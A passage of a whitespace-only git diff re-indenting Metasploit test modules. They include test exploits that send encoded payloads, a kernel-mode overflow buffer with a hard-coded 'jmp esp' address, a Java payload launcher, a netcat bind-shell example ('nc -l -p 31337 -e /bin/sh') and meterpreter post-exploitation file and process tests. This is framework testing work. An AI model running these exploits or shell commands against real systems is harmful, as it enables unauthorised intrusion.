endian', + { + 'Platform' => [ 'linux', 'win' ], + 'Arch' => ARCH_MIPSLE + } + ], + [ + 'Mips little endian cannot be encoded', + { + 'Platform' => [ 'linux', 'win' ], + 'Arch' => ARCH_MIPSLE, + 'Payload' => + { + 'BadChars' => (0..255).to_a.map { |x| x.chr }.to_s + } + } + ], [ + 'Mips little endian encoder needed', + { + 'Platform' => [ 'linux', 'win' ], + 'Arch' => ARCH_MIPSLE, + 'Payload' => + { + 'BadChars' => "\x00" + } + } + ], - ], - 'DefaultTarget' => 0)) + ], + 'DefaultTarget' => 0)) - register_options( - [ - OptBool.new('WaitForInput', [ false, "Wait for user input before returning from exploit", false ]), - OptInt.new('TestInteger', [ false, "Testing an integer value", nil ]) - ]) - end + register_options( + [ + OptBool.new('WaitForInput', [ false, "Wait for user input before returning from exploit", false ]), + OptInt.new('TestInteger', [ false, "Testing an integer value", nil ]) + ]) + end - def autofilter - false - end + def autofilter + false + end - def check - return Exploit::CheckCode::Vulnerable - end + def check + return Exploit::CheckCode::Vulnerable + end - def exploit - # Show disassembled payload for context encoder test - if target.name =~ /context encoder/ - #puts Rex::Assembly::Nasm.disassemble(payload.encoded[0,40]) - #FIXME: do this with metasm for MIPS (import new metasm version which fixes current bug!) - end + def exploit + # Show disassembled payload for context encoder test + if target.name =~ /context encoder/ + #puts Rex::Assembly::Nasm.disassemble(payload.encoded[0,40]) + #FIXME: do this with metasm for MIPS (import new metasm version which fixes current bug!) + end - connect + connect - print_status("Sending #{payload.encoded.length} byte payload...[#{datastore['TestInteger']}]") + print_status("Sending #{payload.encoded.length} byte payload...[#{datastore['TestInteger']}]") - sock.put(payload.encoded) + sock.put(payload.encoded) - if (datastore['WaitForInput']) - puts "Type something..." - gets - end + if (datastore['WaitForInput']) + puts "Type something..." + gets + end - handler - end + handler + end end diff --git a/test/modules/exploits/test/java_tester.rb b/test/modules/exploits/test/java_tester.rb index b26a7ec920..464e3e938e 100644 --- a/test/modules/exploits/test/java_tester.rb +++ b/test/modules/exploits/test/java_tester.rb @@ -13,46 +13,46 @@ require 'msf/core' require 'rex' class Metasploit3 < Msf::Exploit::Remote - Rank = ManualRanking + Rank = ManualRanking - def initialize( info = {} ) - super( update_info( info, - 'Name' => 'Exec', - 'Description' => %q{ }, - 'License' => MSF_LICENSE, - 'Author' => [ 'egypt' ], - 'Version' => '$Revision$', - 'References' => [ ], - 'Platform' => [ 'java', 'linux' ], - 'Arch' => ARCH_JAVA, - 'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true }, - 'Targets' => - [ - [ 'Generic (Java Payload)', { - 'Arch' => ARCH_JAVA, - 'Platform' => 'java' - } ], - [ 'Linux', { - 'Arch' => ARCH_X86, - 'Platform' => 'linux' - } ], - ], - 'DefaultTarget' => 0 - )) + def initialize( info = {} ) + super( update_info( info, + 'Name' => 'Exec', + 'Description' => %q{ }, + 'License' => MSF_LICENSE, + 'Author' => [ 'egypt' ], + 'Version' => '$Revision$', + 'References' => [ ], + 'Platform' => [ 'java', 'linux' ], + 'Arch' => ARCH_JAVA, + 'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true }, + 'Targets' => + [ + [ 'Generic (Java Payload)', { + 'Arch' => ARCH_JAVA, + 'Platform' => 'java' + } ], + [ 'Linux', { + 'Arch' => ARCH_X86, + 'Platform' => 'linux' + } ], + ], + 'DefaultTarget' => 0 + )) - end + end - def exploit - # Equivalent to payload.encoded - @jar_data = payload.encoded_jar.pack + def exploit + # Equivalent to payload.encoded + @jar_data = payload.encoded_jar.pack - File.open("payload.jar", "wb") do |fd| - fd.write(@jar_data) - end + File.open("payload.jar", "wb") do |fd| + fd.write(@jar_data) + end - pid = Process.spawn("java -jar payload.jar &") - Process.detach pid - end + pid = Process.spawn("java -jar payload.jar &") + Process.detach pid + end end diff --git a/test/modules/exploits/test/kernel.rb b/test/modules/exploits/test/kernel.rb index edb0aa43dd..70b25dfd8c 100644 --- a/test/modules/exploits/test/kernel.rb +++ b/test/modules/exploits/test/kernel.rb @@ -15,74 +15,74 @@ require 'msf/core' # This is a test exploit for testing kernel-mode payloads. # class Metasploit3 < Msf::Exploit::Remote - Rank = ManualRanking + Rank = ManualRanking - include Msf::Exploit::Remote::Udp - include Msf::Exploit::KernelMode + include Msf::Exploit::Remote::Udp + include Msf::Exploit::KernelMode - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Internal Kernel-mode Test Exploit', - 'Description' => - "This module tests the exploitation of a kernel-mode test service.", - 'Author' => 'skape', - 'License' => MSF_LICENSE, - 'Version' => '$Revision$', - 'Arch' => 'x86', - 'Payload' => - { - 'Space' => 1000, - 'MaxNops' => 0, - 'Prepend' => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500 - 'PrependEncoder' => "\x81\xC4\x0C\xFE\xFF\xFF" # add esp, -500 - }, - 'Targets' => - [ - [ - 'Windows XP SP2', - { - 'Ret' => 0x80502d7f, # jmp esp - 'Platform' => 'win', - 'Payload' => - { - 'ExtendedOptions' => - { - 'Stager' => 'sud_syscall_hook', - 'Recovery' => 'spin' - } - } - } - ], - ], - 'DefaultTarget' => 0)) - end + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Internal Kernel-mode Test Exploit', + 'Description' => + "This module tests the exploitation of a kernel-mode test service.", + 'Author' => 'skape', + 'License' => MSF_LICENSE, + 'Version' => '$Revision$', + 'Arch' => 'x86', + 'Payload' => + { + 'Space' => 1000, + 'MaxNops' => 0, + 'Prepend' => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500 + 'PrependEncoder' => "\x81\xC4\x0C\xFE\xFF\xFF" # add esp, -500 + }, + 'Targets' => + [ + [ + 'Windows XP SP2', + { + 'Ret' => 0x80502d7f, # jmp esp + 'Platform' => 'win', + 'Payload' => + { + 'ExtendedOptions' => + { + 'Stager' => 'sud_syscall_hook', + 'Recovery' => 'spin' + } + } + } + ], + ], + 'DefaultTarget' => 0)) + end - def autofilter - false - end + def autofilter + false + end - def check - return Exploit::CheckCode::Vulnerable - end + def check + return Exploit::CheckCode::Vulnerable + end - def exploit - connect_udp + def exploit + connect_udp - print_status("Sending #{payload.encoded.length} byte payload...") + print_status("Sending #{payload.encoded.length} byte payload...") - buf = - rand_text_alphanumeric(260) + - "\xbe\x7f\x00\x00" + - rand_text_alphanumeric(28) + - [target.ret].pack('V') + - rand_text_alphanumeric(8) + - payload.encoded + buf = + rand_text_alphanumeric(260) + + "\xbe\x7f\x00\x00" + + rand_text_alphanumeric(28) + + [target.ret].pack('V') + + rand_text_alphanumeric(8) + + payload.encoded - udp_sock.put(buf) + udp_sock.put(buf) - select(nil,nil,nil,2) + select(nil,nil,nil,2) - disconnect_udp - end + disconnect_udp + end end diff --git a/test/modules/exploits/test/shell.rb b/test/modules/exploits/test/shell.rb index acad76b525..8cd284aa41 100644 --- a/test/modules/exploits/test/shell.rb +++ b/test/modules/exploits/test/shell.rb @@ -12,49 +12,49 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = ManualRanking + Rank = ManualRanking - include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Remote::Tcp - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Command Test', - 'Description' => %q{ - This module tests cmd payloads by targeting (for example) a server - like: nc -l -p 31337 -e /bin/sh - }, - 'Author' => 'egypt', - 'Version' => '$Revision$', - 'References' => [ ], - 'DefaultOptions' => { }, - 'Payload' => - { - }, - 'Platform' => 'unix', - 'Arch' => ARCH_CMD, - 'Targets' => - [ - [ 'Automatic Targeting', { } ], - ], - 'DefaultTarget' => 0 - )) + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Command Test', + 'Description' => %q{ + This module tests cmd payloads by targeting (for example) a server + like: nc -l -p 31337 -e /bin/sh + }, + 'Author' => 'egypt', + 'Version' => '$Revision$', + 'References' => [ ], + 'DefaultOptions' => { }, + 'Payload' => + { + }, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Targets' => + [ + [ 'Automatic Targeting', { } ], + ], + 'DefaultTarget' => 0 + )) - register_options( - [ - Opt::RPORT(31337), - ], self.class) - end + register_options( + [ + Opt::RPORT(31337), + ], self.class) + end - def autofilter - false - end + def autofilter + false + end - def exploit - connect + def exploit + connect - sock.put(payload.encoded + "\n") + sock.put(payload.encoded + "\n") - handler - end + handler + end end diff --git a/test/modules/post/test/file.rb b/test/modules/post/test/file.rb index d3937cda69..f5b2061ea1 100644 --- a/test/modules/post/test/file.rb +++ b/test/modules/post/test/file.rb @@ -8,162 +8,162 @@ require 'module_test' class Metasploit4 < Msf::Post - include Msf::ModuleTest::PostTest - include Msf::Post::Common - include Msf::Post::File + include Msf::ModuleTest::PostTest + include Msf::Post::Common + include Msf::Post::File - def initialize(info={}) - super( update_info( info, - 'Name' => 'Testing Remote File Manipulation', - 'Description' => %q{ This module will test Post::File API methods }, - 'License' => MSF_LICENSE, - 'Author' => [ 'egypt'], - 'Platform' => [ 'windows', 'linux', 'java' ], - 'SessionTypes' => [ 'meterpreter', 'shell' ] - )) - end + def initialize(info={}) + super( update_info( info, + 'Name' => 'Testing Remote File Manipulation', + 'Description' => %q{ This module will test Post::File API methods }, + 'License' => MSF_LICENSE, + 'Author' => [ 'egypt'], + 'Platform' => [ 'windows', 'linux', 'java' ], + 'SessionTypes' => [ 'meterpreter', 'shell' ] + )) + end - # - # Change directory into a place that we have write access. - # - # The +cleanup+ method will change it back - # - def setup - @old_pwd = pwd - tmp = (directory?("/tmp")) ? "/tmp" : "%TMP%" - vprint_status("Setup: changing working directory to #{tmp}") - cd(tmp) + # + # Change directory into a place that we have write access. + # + # The +cleanup+ method will change it back + # + def setup + @old_pwd = pwd + tmp = (directory?("/tmp")) ? "/tmp" : "%TMP%" + vprint_status("Setup: changing working directory to #{tmp}") + cd(tmp) - super - end + super + end - def test_file - it "should test for file existence" do - ret = false - [ - "c:\\boot.ini", - "c:\\pagefile.sys", - "/etc/passwd", - "/etc/master.passwd" - ].each { |path| - ret = true if file?(path) - } + def test_file + it "should test for file existence" do + ret = false + [ + "c:\\boot.ini", + "c:\\pagefile.sys", + "/etc/passwd", + "/etc/master.passwd" + ].each { |path| + ret = true if file?(path) + } - ret - end + ret + end - it "should test for directory existence" do - ret = false - [ - "c:\\", - "/etc/", - "/tmp" - ].each { |path| - ret = true if directory?(path) - } + it "should test for directory existence" do + ret = false + [ + "c:\\", + "/etc/", + "/tmp" + ].each { |path| + ret = true if directory?(path) + } - ret - end + ret + end - it "should create text files" do - write_file("pwned", "foo") + it "should create text files" do + write_file("pwned", "foo") - file?("pwned") - end + file?("pwned") + end - it "should read the text we just wrote" do - f = read_file("pwned") - ret = ("foo" == f) - unless ret - print_error("Didn't read what we wrote, actual file on target: #{f}") - end + it "should read the text we just wrote" do + f = read_file("pwned") + ret = ("foo" == f) + unless ret + print_error("Didn't read what we wrote, actual file on target: #{f}") + end - ret - end + ret + end - it "should append text files" do - ret = true - append_file("pwned", "bar") + it "should append text files" do + ret = true + append_file("pwned", "bar") - ret &&= read_file("pwned") == "foobar" - append_file("pwned", "baz") - final_contents = read_file("pwned") - ret &&= final_contents == "foobarbaz" - unless ret - print_error("Didn't read what we wrote, actual file on target: #{final_contents}") - end + ret &&= read_file("pwned") == "foobar" + append_file("pwned", "baz") + final_contents = read_file("pwned") + ret &&= final_contents == "foobarbaz" + unless ret + print_error("Didn't read what we wrote, actual file on target: #{final_contents}") + end - ret - end + ret + end - it "should delete text files" do - file_rm("pwned") + it "should delete text files" do + file_rm("pwned") - not file_exist?("pwned") - end + not file_exist?("pwned") + end - it "should move files" do - # Make sure we don't have leftovers from a previous run - file_rm("meterpreter-test") rescue nil - file_rm("meterpreter-test-moved") rescue nil + it "should move files" do + # Make sure we don't have leftovers from a previous run + file_rm("meterpreter-test") rescue nil + file_rm("meterpreter-test-moved") rescue nil - # touch a new file - write_file("meterpreter-test", "") + # touch a new file + write_file("meterpreter-test", "") - rename_file("meterpreter-test", "meterpreter-test-moved") - res &&= exist?("meterpreter-test-moved") - res &&= !exist?("meterpreter-test") + rename_file("meterpreter-test", "meterpreter-test-moved") + res &&= exist?("meterpreter-test-moved") + res &&= !exist?("meterpreter-test") - # clean up - file_rm("meterpreter-test") rescue nil - file_rm("meterpreter-test-moved") rescue nil - end + # clean up + file_rm("meterpreter-test") rescue nil + file_rm("meterpreter-test-moved") rescue nil + end - end + end - def test_binary_files + def test_binary_files - #binary_data = ::File.read("/bin/ls") - binary_data = ::File.read("/bin/echo") - #binary_data = "\xff\x00\xff\xfe\xff\`$(echo blha)\`" - it "should write binary data" do - vprint_status "Writing #{binary_data.length} bytes" - t = Time.now - write_file("pwned", binary_data) - vprint_status("Finished in #{Time.now - t}") + #binary_data = ::File.read("/bin/ls") + binary_data = ::File.read("/bin/echo") + #binary_data = "\xff\x00\xff\xfe\xff\`$(echo blha)\`" + it "should write binary data" do + vprint_status "Writing #{binary_data.length} bytes" + t = Time.now + write_file("pwned", binary_data) + vprint_status("Finished in #{Time.now - t}") - file_exist?("pwned") - end + file_exist?("pwned") + end - it "should read the binary data we just wrote" do - bin = read_file("pwned") - vprint_status "Read #{bin.length} bytes" + it "should read the binary data we just wrote" do + bin = read_file("pwned") + vprint_status "Read #{bin.length} bytes" - bin == binary_data - end + bin == binary_data + end - it "should delete binary files" do - file_rm("pwned") + it "should delete binary files" do + file_rm("pwned") - not file_exist?("pwned") - end + not file_exist?("pwned") + end - it "should append binary data" do - write_file("pwned", "\xde\xad") - append_file("pwned", "\xbe\xef") - bin = read_file("pwned") - file_rm("pwned") + it "should append binary data" do + write_file("pwned", "\xde\xad") + append_file("pwned", "\xbe\xef") + bin = read_file("pwned") + file_rm("pwned") - bin == "\xde\xad\xbe\xef" - end + bin == "\xde\xad\xbe\xef" + end - end + end - def cleanup - vprint_status("Cleanup: changing working directory back to #{@old_pwd}") - cd(@old_pwd) - super - end + def cleanup + vprint_status("Cleanup: changing working directory back to #{@old_pwd}") + cd(@old_pwd) + super + end end diff --git a/test/modules/post/test/meterpreter.rb b/test/modules/post/test/meterpreter.rb index b43b8ea8d9..d29ef6f223 100644 --- a/test/modules/post/test/meterpreter.rb +++ b/test/modules/post/test/meterpreter.rb @@ -7,336 +7,336 @@ require 'module_test' class Metasploit4 < Msf::Post - include Msf::ModuleTest::PostTest + include Msf::ModuleTest::PostTest - def initialize(info={}) - super( update_info( info, - 'Name' => 'Testing Meterpreter Stuff', - 'Description' => %q{ This module will test meterpreter API methods }, - 'License' => MSF_LICENSE, - 'Author' => [ 'egypt'], - 'Platform' => [ 'windows', 'linux', 'java' ], - 'SessionTypes' => [ 'meterpreter' ] - )) + def initialize(info={}) + super( update_info( info, + 'Name' => 'Testing Meterpreter Stuff', + 'Description' => %q{ This module will test meterpreter API methods }, + 'License' => MSF_LICENSE, + 'Author' => [ 'egypt'], + 'Platform' => [ 'windows', 'linux', 'java' ], + 'SessionTypes' => [ 'meterpreter' ] + )) - end + end - # - # Change directory into a place that we have write access. - # - # The +cleanup+ method will change it back. This method is an implementation - # of post/test/file.rb's method of the same name, but without the Post::File - # dependency. - # - def setup - @old_pwd = session.fs.dir.getwd - stat = session.fs.file.stat("/tmp") rescue nil - if (stat and stat.directory?) - tmp = "/tmp" - else - tmp = session.fs.file.expand_path("%TMP%") - end - vprint_status("Setup: changing working directory to #{tmp}") - session.fs.dir.chdir(tmp) + # + # Change directory into a place that we have write access. + # + # The +cleanup+ method will change it back. This method is an implementation + # of post/test/file.rb's method of the same name, but without the Post::File + # dependency. + # + def setup + @old_pwd = session.fs.dir.getwd + stat = session.fs.file.stat("/tmp") rescue nil + if (stat and stat.directory?) + tmp = "/tmp" + else + tmp = session.fs.file.expand_path("%TMP%") + end + vprint_status("Setup: changing working directory to #{tmp}") + session.fs.dir.chdir(tmp) - super - end + super + end - def test_sys_process - vprint_status("Starting process tests") - pid = nil + def test_sys_process + vprint_status("Starting process tests") + pid = nil - if session.commands.include? "stdapi_sys_process_getpid" - it "should return its own process id" do - pid = session.sys.process.getpid - vprint_status("Pid: #{pid}") - true - end - else - print_status("Session doesn't implement getpid, skipping test") - end + if session.commands.include? "stdapi_sys_process_getpid" + it "should return its own process id" do + pid = session.sys.process.getpid + vprint_status("Pid: #{pid}") + true + end + else + print_status("Session doesn't implement getpid, skipping test") + end - it "should return a list of processes" do - ret = true - list = session.sys.process.get_processes - ret &&= (list && list.length > 0) - if session.commands.include? "stdapi_sys_process_getpid" - pid ||= session.sys.process.getpid - process = list.find{ |p| p['pid'] == pid } - vprint_status("PID info: #{process.inspect}") - ret &&= !(process.nil?) - else - vprint_status("Session doesn't implement getpid, skipping sanity check") - end + it "should return a list of processes" do + ret = true + list = session.sys.process.get_processes + ret &&= (list && list.length > 0) + if session.commands.include? "stdapi_sys_process_getpid" + pid ||= session.sys.process.getpid + process = list.find{ |p| p['pid'] == pid } + vprint_status("PID info: #{process.inspect}") + ret &&= !(process.nil?) + else + vprint_status("Session doesn't implement getpid, skipping sanity check") + end - ret - end + ret + end - end + end - def test_sys_config - vprint_status("Starting system config tests") + def test_sys_config + vprint_status("Starting system config tests") - it "should return a user id" do - uid = session.sys.config.getuid - true - end + it "should return a user id" do + uid = session.sys.config.getuid + true + end - it "should return a sysinfo Hash" do - sysinfo = session.sys.config.sysinfo - true - end - end + it "should return a sysinfo Hash" do + sysinfo = session.sys.config.sysinfo + true + end + end - def test_net_config - unless (session.commands.include? "stdapi_net_config_get_interfaces") - vprint_status("This meterpreter does not implement get_interfaces, skipping tests") - return - end + def test_net_config + unless (session.commands.include? "stdapi_net_config_get_interfaces") + vprint_status("This meterpreter does not implement get_interfaces, skipping tests") + return + end - vprint_status("Starting networking tests") + vprint_status("Starting networking tests") - it "should return network interfaces" do - ifaces = session.net.config.get_interfaces - res = !!(ifaces and ifaces.length > 0) + it "should return network interfaces" do + ifaces = session.net.config.get_interfaces + res = !!(ifaces and ifaces.length > 0) - res - end - it "should have an interface that matches session_host" do - ifaces = session.net.config.get_interfaces - res = !!(ifaces and ifaces.length > 0) + res + end + it "should have an interface that matches session_host" do + ifaces = session.net.config.get_interfaces + res = !!(ifaces and ifaces.length > 0) - res &&= !! ifaces.find { |iface| - iface.addrs.find { |addr| - addr == session.session_host - } - } + res &&= !! ifaces.find { |iface| + iface.addrs.find { |addr| + addr == session.session_host + } + } - res - end + res + end - it "should return network routes" do - routes = session.net.config.get_routes + it "should return network routes" do + routes = session.net.config.get_routes - routes and routes.length > 0 - end + routes and routes.length > 0 + end - end + end - def test_fs - vprint_status("Starting filesystem tests") + def test_fs + vprint_status("Starting filesystem tests") - it "should return the proper directory separator" do - sysinfo = session.sys.config.sysinfo - if sysinfo["OS"] =~ /windows/i - sep = session.fs.file.separator - res = (sep == "\\") - else - sep = session.fs.file.separator - res = (sep == "/") - end + it "should return the proper directory separator" do + sysinfo = session.sys.config.sysinfo + if sysinfo["OS"] =~ /windows/i + sep = session.fs.file.separator + res = (sep == "\\") + else + sep = session.fs.file.separator + res = (sep == "/") + end - res - end + res + end - it "should return the current working directory" do - wd = session.fs.dir.pwd - vprint_status("CWD: #{wd}") + it "should return the current working directory" do + wd = session.fs.dir.pwd + vprint_status("CWD: #{wd}") - true - end + true + end - it "should list files in the current directory" do - session.fs.dir.entries - end + it "should list files in the current directory" do + session.fs.dir.entries + end - it "should stat a directory" do - dir = session.fs.dir.pwd - vprint_status("Current directory: #{dir.inspect}") - s = session.fs.file.stat(dir) - vprint_status("Stat of current directory: #{s.inspect}") + it "should stat a directory" do + dir = session.fs.dir.pwd + vprint_status("Current directory: #{dir.inspect}") + s = session.fs.file.stat(dir) + vprint_status("Stat of current directory: #{s.inspect}") - s.directory? - end + s.directory? + end - it "should create and remove a dir" do - res = create_directory("meterpreter-test") - if (res) - session.fs.dir.rmdir("meterpreter-test") - res &&= !session.fs.dir.entries.include?("meterpreter-test") - vprint_status("Directory removed successfully") - end + it "should create and remove a dir" do + res = create_directory("meterpreter-test") + if (res) + session.fs.dir.rmdir("meterpreter-test") + res &&= !session.fs.dir.entries.include?("meterpreter-test") + vprint_status("Directory removed successfully") + end - res - end + res + end - it "should change directories" do - res = create_directory("meterpreter-test") + it "should change directories" do + res = create_directory("meterpreter-test") - old_wd = session.fs.dir.pwd - vprint_status("Old CWD: #{old_wd}") + old_wd = session.fs.dir.pwd + vprint_status("Old CWD: #{old_wd}") - if res - session.fs.dir.chdir("meterpreter-test") - new_wd = session.fs.dir.pwd - vprint_status("New CWD: #{new_wd}") - res &&= (new_wd =~ /meterpreter-test$/) + if res + session.fs.dir.chdir("meterpreter-test") + new_wd = session.fs.dir.pwd + vprint_status("New CWD: #{new_wd}") + res &&= (new_wd =~ /meterpreter-test$/) - if res - session.fs.dir.chdir("..") - wd = session.fs.dir.pwd - vprint_status("Back to old CWD: #{wd}") - end - end - session.fs.dir.rmdir("meterpreter-test") - res &&= !session.fs.dir.entries.include?("meterpreter-test") - vprint_status("Directory removed successfully") + if res + session.fs.dir.chdir("..") + wd = session.fs.dir.pwd + vprint_status("Back to old CWD: #{wd}") + end + end + session.fs.dir.rmdir("meterpreter-test") + res &&= !session.fs.dir.entries.include?("meterpreter-test") + vprint_status("Directory removed successfully") - res - end + res + end - it "should create and remove files" do - res = true - res &&= session.fs.file.open("meterpreter-test", "wb") { |fd| - fd.write("test") - } + it "should create and remove files" do + res = true + res &&= session.fs.file.open("meterpreter-test", "wb") { |fd| + fd.write("test") + } - vprint_status("Wrote to meterpreter-test, checking contents") - res &&= session.fs.file.open("meterpreter-test", "rb") { |fd| - contents = fd.read - vprint_status("Wrote #{contents}") - (contents == "test") - } + vprint_status("Wrote to meterpreter-test, checking contents") + res &&= session.fs.file.open("meterpreter-test", "rb") { |fd| + contents = fd.read + vprint_status("Wrote #{contents}") + (contents == "test") + } - session.fs.file.rm("meterpreter-test") - res &&= !session.fs.dir.entries.include?("meterpreter-test") + session.fs.file.rm("meterpreter-test") + res &&= !session.fs.dir.entries.include?("meterpreter-test") - res - end + res + end - it "should upload a file" do - res = true - remote = "HACKING.remote.txt" - local = "HACKING" - vprint_status("uploading") - session.fs.file.upload_file(remote, local) - vprint_status("done") - res &&= session.fs.file.exists?(remote) - vprint_status("remote file exists? #{res.inspect}") + it "should upload a file" do + res = true + remote = "HACKING.remote.txt" + local = "HACKING" + vprint_status("uploading") + session.fs.file.upload_file(remote, local) + vprint_status("done") + res &&= session.fs.file.exists?(remote) + vprint_status("remote file exists? #{res.inspect}") - if res - fd = session.fs.file.new(remote, "rb") - uploaded_contents = fd.read - until (fd.eof?) - uploaded_contents << fd.read - end - fd.close - original_contents = ::File.read(local) + if res + fd = session.fs.file.new(remote, "rb") + uploaded_contents = fd.read + until (fd.eof?) + uploaded_contents << fd.read + end + fd.close + original_contents = ::File.read(local) - res &&= !!(uploaded_contents == original_contents) - end + res &&= !!(uploaded_contents == original_contents) + end - session.fs.file.rm(remote) - res - end - if session.commands.include?("stdapi_fs_file_move") - it "should move files" do - res = true + session.fs.file.rm(remote) + res + end + if session.commands.include?("stdapi_fs_file_move") + it "should move files" do + res = true - # Make sure we don't have leftovers from a previous run - session.fs.file.rm("meterpreter-test") rescue nil - session.fs.file.rm("meterpreter-test-moved") rescue nil + # Make sure we don't have leftovers from a previous run + session.fs.file.rm("meterpreter-test") rescue nil + session.fs.file.rm("meterpreter-test-moved") rescue nil - # touch a new file - fd = session.fs.file.open("meterpreter-test", "wb") - fd.close + # touch a new file + fd = session.fs.file.open("meterpreter-test", "wb") + fd.close - session.fs.file.mv("meterpreter-test", "meterpreter-test-moved") - entries = session.fs.dir.entries - res &&= entries.include?("meterpreter-test-moved") - res &&= !entries.include?("meterpreter-test") + session.fs.file.mv("meterpreter-test", "meterpreter-test-moved") + entries = session.fs.dir.entries + res &&= entries.include?("meterpreter-test-moved") + res &&= !entries.include?("meterpreter-test") - # clean up - session.fs.file.rm("meterpreter-test") rescue nil - session.fs.file.rm("meterpreter-test-moved") rescue nil + # clean up + session.fs.file.rm("meterpreter-test") rescue nil + session.fs.file.rm("meterpreter-test-moved") rescue nil - res - end - end + res + end + end - it "should do md5 and sha1 of files" do - res = true - remote = "HACKING.remote.txt" - local = "HACKING" - vprint_status("uploading") - session.fs.file.upload_file(remote, local) - vprint_status("done") - res &&= session.fs.file.exists?(remote) - vprint_status("remote file exists? #{res.inspect}") + it "should do md5 and sha1 of files" do + res = true + remote = "HACKING.remote.txt" + local = "HACKING" + vprint_status("uploading") + session.fs.file.upload_file(remote, local) + vprint_status("done") + res &&= session.fs.file.exists?(remote) + vprint_status("remote file exists? #{res.inspect}") - if res - remote_md5 = session.fs.file.md5(remote) - local_md5 = Digest::MD5.digest(::File.read(local)) - remote_sha = session.fs.file.sha1(remote) - local_sha = Digest::SHA1.digest(::File.read(local)) - vprint_status("remote md5: #{Rex::Text.to_hex(remote_md5,'')}") - vprint_status("local md5 : #{Rex::Text.to_hex(local_md5,'')}") - vprint_status("remote sha: #{Rex::Text.to_hex(remote_sha,'')}") - vprint_status("local sha : #{Rex::Text.to_hex(local_sha,'')}") - res &&= (remote_md5 == local_md5) - end + if res + remote_md5 = session.fs.file.md5(remote) + local_md5 = Digest::MD5.digest(::File.read(local)) + remote_sha = session.fs.file.sha1(remote) + local_sha = Digest::SHA1.digest(::File.read(local)) + vprint_status("remote md5: #{Rex::Text.to_hex(remote_md5,'')}") + vprint_status("local md5 : #{Rex::Text.to_hex(local_md5,'')}") + vprint_status("remote sha: #{Rex::Text.to_hex(remote_sha,'')}") + vprint_status("local sha : #{Rex::Text.to_hex(local_sha,'')}") + res &&= (remote_md5 == local_md5) + end - session.fs.file.rm(remote) - res - end + session.fs.file.rm(remote) + res + end - end + end =begin - # Sniffer currently crashes on any OS that requires driver signing, - # i.e. everything vista and newer - # - # Disable loading it for now to make it through the rest of the tests. - # - def test_sniffer - begin - session.core.use "sniffer" - rescue - # Not all meterpreters have a sniffer extension, don't count it - # against them. - return - end + # Sniffer currently crashes on any OS that requires driver signing, + # i.e. everything vista and newer + # + # Disable loading it for now to make it through the rest of the tests. + # + def test_sniffer + begin + session.core.use "sniffer" + rescue + # Not all meterpreters have a sniffer extension, don't count it + # against them. + return + end - it "should list interfaces for sniffing" do - session.sniffer.interfaces.kind_of? Array - end + it "should list interfaces for sniffing" do + session.sniffer.interfaces.kind_of? Array + end - # XXX: how do we test this more thoroughly in a generic way? - end + # XXX: how do we test this more thoroughly in a generic way? + end =end - def cleanup - vprint_status("Cleanup: changing working directory back to #{@old_pwd}") - session.fs.dir.chdir(@old_pwd) - super - end + def cleanup + vprint_status("Cleanup: changing working directory back to #{@old_pwd}") + session.fs.dir.chdir(@old_pwd) + super + end protected - def create_directory(name) - res = true + def create_directory(name) + res = true - session.fs.dir.mkdir(name) - entries = session.fs.dir.entries - res &&= entries.include?(name) - res &&= session.fs.file.stat(name).directory? - if res - vprint_status("Directory created successfully") - end + session.fs.dir.mkdir(name) + entries = session.fs.dir.entries + res &&= entries.include?(name) + res &&= session.fs.file.stat(name).directory? + if res + vprint_status("Directory created successfully") + end - res - end + res + end end diff --git a/test/modules/post/test/railgun_reverse_lookups.rb b/test/modules/post/test/railgun_reverse_lookups.rb index df39567089..e829b1e432 100644 --- a/test/modules/post/test/railgun_reverse_lookups.rb +++ b/test/modules/post/test/railgun_reverse_lookups.rb @@ -15,83 +15,83 @@ require 'module_test' class Metasploit3 < Msf::Post - include Msf::ModuleTest::PostTest - include Msf::Post::Windows::Railgun + include Msf::ModuleTest::PostTest + include Msf::Post::Windows::Railgun - def initialize(info={}) - super( update_info( info, - 'Name' => 'railgun_testing', - 'Description' => %q{ This module will test railgun code used in post modules}, - 'License' => MSF_LICENSE, - 'Author' => [ 'kernelsmith'], - 'Platform' => [ 'windows' ] - )) + def initialize(info={}) + super( update_info( info, + 'Name' => 'railgun_testing', + 'Description' => %q{ This module will test railgun code used in post modules}, + 'License' => MSF_LICENSE, + 'Author' => [ 'kernelsmith'], + 'Platform' => [ 'windows' ] + )) - register_options( - [ - OptInt.new("ERR_CODE", [ false, "Error code to reverse lookup" ]), - OptInt.new("WIN_CONST", [ false, "Windows constant to reverse lookup" ]), - OptRegexp.new("WCREGEX", [ false, "Regexp to apply to constant rev lookup" ]), - OptRegexp.new("ECREGEX", [ false, "Regexp to apply to error code lookup" ]), - ], self.class) + register_options( + [ + OptInt.new("ERR_CODE", [ false, "Error code to reverse lookup" ]), + OptInt.new("WIN_CONST", [ false, "Windows constant to reverse lookup" ]), + OptRegexp.new("WCREGEX", [ false, "Regexp to apply to constant rev lookup" ]), + OptRegexp.new("ECREGEX", [ false, "Regexp to apply to error code lookup" ]), + ], self.class) - end + end - def test_static + def test_static - it "should return a constant name given a const and a filter" do - ret = true - results = select_const_names(4, /^SERVICE/) + it "should return a constant name given a const and a filter" do + ret = true + results = select_const_names(4, /^SERVICE/) - ret &&= !!(results.kind_of? Array) - # All of the returned values should match the filter and have the same value - results.each { |const| - ret &&= !!(const =~ /^SERVICE/) - ret &&= !!(session.railgun.constant_manager.parse(const) == 4) - } + ret &&= !!(results.kind_of? Array) + # All of the returned values should match the filter and have the same value + results.each { |const| + ret &&= !!(const =~ /^SERVICE/) + ret &&= !!(session.railgun.constant_manager.parse(const) == 4) + } - # Should include things that match the filter and the value - ret &&= !!(results.include? "SERVICE_RUNNING") - # Should NOT include things that match the value but not the filter - ret &&= !!(not results.include? "CLONE_FLAG_ENTITY") + # Should include things that match the filter and the value + ret &&= !!(results.include? "SERVICE_RUNNING") + # Should NOT include things that match the value but not the filter + ret &&= !!(not results.include? "CLONE_FLAG_ENTITY") - ret - end + ret + end - it "should return an error string given an error code" do - ret = true - results = lookup_error(0x420, 